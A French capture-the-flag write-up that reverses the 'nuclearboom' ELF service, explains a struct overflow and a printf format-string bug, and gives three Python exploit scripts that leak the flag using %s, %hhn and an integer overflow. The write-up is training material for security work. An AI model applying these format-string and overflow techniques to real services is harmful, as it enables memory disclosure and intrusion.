FR EN

Nuclearboom service

Pewpew service >>

Le service nuclearboom est un ELF x86, non strippé. Le service est une application client/serveur classique, et gère pour chaque connexion une liste de "plants nucléaires", ainsi qu'un code d'auto-destruction (le flag) protégé par un mot de passe.

Le mot de passe est tiré du fichier .password au début du programme à 0x0804898c et le code d'auto-destruction à chaque début de connexion à 0x08048adb. Ensuite la fonction handle_client est appellée, affichant un menu permettant de gérer les plants (ajouter/lister/détailler/éditer un plan) ou de récupérer/modifier le flag. La fonction init_child nous permet de comprendre la structure manipulée :

for ( i = 0; i <= 9; ++i )
{
	v2 = &a1[i];
	a1[i].plant_id = i;
	strcpy(a1[i].plant_name, (&plant_names)[4 * i]);
	v2->field_1 = gen_random_num(150, 500);
	v2->field_2 = gen_random_num(15, 100);
	v2->field_3 = gen_random_num(250, 800);
	v2->field_4 = gen_random_num(120, 900);
	v2->field_5 = gen_random_num(10, 600);
}

Ceci étant donc obtenu après déduction de la structure suivante :

struct plant {
	char name[100];
	short int field_1, field_2, field_3, field_4, field_5;
	short int plant_id;
};

En continuant vers handle_plant_creation(), on trouve une première vuln :

ask_for_string((int)"Insert name: ", buf, 0x70u);
new_plant->plant_id = v9;
new_plant->field_1 = gen_random_num(150, 500);
new_plant->field_2 = gen_random_num(15, 100);
new_plant->field_3 = gen_random_num(250, 800);
new_plant->field_4 = gen_random_num(120, 900);
new_plant->field_5 = gen_random_num(10, 600);
strcpy(new_plant->plant_name, buf);

La fonction demande 0x70 bytes, placés dans un buffer de 0x400 pour le nom du plant. Ce buffer est ensuite recopié, après remplissage des 6 autres champs, dans le champ plant_name. Or, le champ nom n'est grand que de 100 (0x64) bytes, il y a donc un overflow de 12 caractères, permettant de remplacer tous les autres champs de la structure.

La création se continue en appellant check_secondary_elems_level et check_uranium_level. La première nous renseigne sur les champs 1 à 4 de la structure (oxygène, carbone, boron, zirconium). La deuxième nous permet de trouver une format string évidente :

if ( plant->field_5 <= 0 )
{
	v2 = 1;
	printf("ARE YOU CRAZY? Uranium in nuclear plant \"");
	printf(plant->plant_name);
	puts("\" is TOO HIGH!");
}

Comme nous contrôlons field_5 grâce au buffer overflow et que la comparaison est signée (jle à 0x0804944d), il est possible de déclencher cette condition facilement, d'avoir une format string dans le nom du plant qui sera exécutée. Pas besoin de faire difficile pour la format string : le flag est en mémoire à 0x0804c141. La format commançant au 22e mot de la pile, l'exploit est immédiat :

#!/usr/bin/python

import socket
import re
import struct

IP = "localhost"
PORT = 4444

leak_re = re.compile("Uranium in nuclear plant \"(.*)\" is TOO HIGH", re.DOTALL)

def recv_until(sock, pattern):
	txt = ""
	while pattern not in txt:
		c = s.recv(1)
		if len(c) == 0:
			break
		txt += c
	return txt


s = socket.socket()
s.connect((IP, PORT))
recv_until(s, "Your choice: ")
fmt = struct.pack("<I", 0x0804c141) + "%22$s" + 'A'*100
s.sendall("1\n" + fmt[0:100] + "\x01"*8 + "\xff\xff\n")
print "FLAG: ", leak_re.search(recv_until(s, "Your choice: ")).group(1)[4:]
s.close()

Pour corriger la vulnérabilité, il est bien plus facile de patcher l'overflow que la format string. Or, en regardant les cross references, on voit que check_uranium_level est également appelée à handle_more_uranium+0x54, elle-même appelée par handle_edit_plant (choix 4 du menu). Cette dernière demande d'abord le type d'élément à rajouter, puis reçoit un nombre entre 0 et 10000 (inclus). Dans le cas de l'uranium, handle_more_uranium est appelé avec le plant et le nombre en argument :

cmp [ebp+current_level], 58F0h
jle short loc_80494C0
mov dword ptr [esp], offset aUraniumIsAlrea ; "Uranium is already too much. No way you"...
call _puts
jmp short loc_80494D9

mov eax, [ebp+plant]
movzx edx, [ebp+var_10] // current_level + argument
mov [eax+6Ch], dx
mov eax, [ebp+plant]
mov [esp], eax ; format
call check_uranium_level

On se rend compte que le premier argument de la format string sera auth_password+64, alors que le flag se trouve à auth_password+65. Il correspond à un byte nul, mais il suffit de le remplacer via un %n pour pouvoir ensuite faire un %s et avoir le flag :

ur_re = re.compile("Uranium: ([0-9]+)")

s = socket.socket()
s.connect((IP, PORT))
# *(auth_password+64) = 1 / print auth_password+64
s.sendall("1\nA%1$hhn%1$s\n3\n10\n")

for i in range(0,3):
	recv_until(s, "Your choice: ")
uranium = int(ur_re.search(recv_until(s, "Your choice: ")).group(1))
while (uranium + 10000) <= 22768:
	s.sendall("4\n10\n5\n10000\n")
	recv_until(s, "Your choice: ")
	recv_until(s, "Your choice: ")
	uranium += 10000
# set uranium level to 22768
s.sendall("4\n10\n5\n%d\n"%(22768-uranium))
recv_until(s, "Your choice: ")
recv_until(s, "Your choice: ")
# int overflow
s.sendall("4\n10\n5\n10000\n")
recv_until(s, "Your choice: ")

# discard first two bytes (A & *(auth_password+64))
print "FLAG: ", leak_re.search(recv_until(s, "Your choice: ")).group(1)[2:]
s.close()

De manière un peu moins jolie, il était aussi possible d'insérer des données dans la pile, en créant un autre plant juste avant de déclencher l'overflow. Dans l'exemple suivant je mets directement l'adresse du flag dans le nom du deuxième plant, qui se trouve au 358e mot de la pile (le tableau contenant les structs de plants est bien sur la pile de main) :

s = socket.socket()
s.connect((IP, PORT))
s.sendall("1\n%358$s\n3\n10\n")
for i in range(0,3):
	recv_until(s, "Your choice: ")
uranium = int(ur_re.search(recv_until(s, "Your choice: ")).group(1))
while (uranium + 10000) <= 22768:
	s.sendall("4\n10\n5\n10000\n")
	recv_until(s, "Your choice: ")
	recv_until(s, "Your choice: ")
	uranium += 10000
s.sendall("4\n10\n5\n%d\n"%(22768-uranium))
recv_until(s, "Your choice: ")
recv_until(s, "Your choice: ")

# 2nd plant, containing address to disclose
s.sendall("1\n\x41\xc1\x04\x08\n")
recv_until(s, "Your choice: ")
s.sendall("4\n10\n5\n10000\n")
recv_until(s, "Your choice: ")
print "FLAG: ", leak_re.search(recv_until(s, "Your choice: ")).group(1)
s.close()

Et voilà pour un service pédagogique, facile à reverser car non strippé, avec plusieurs manières d'exploiter la même vulnérabilité de façon simple.

Pewpew service >>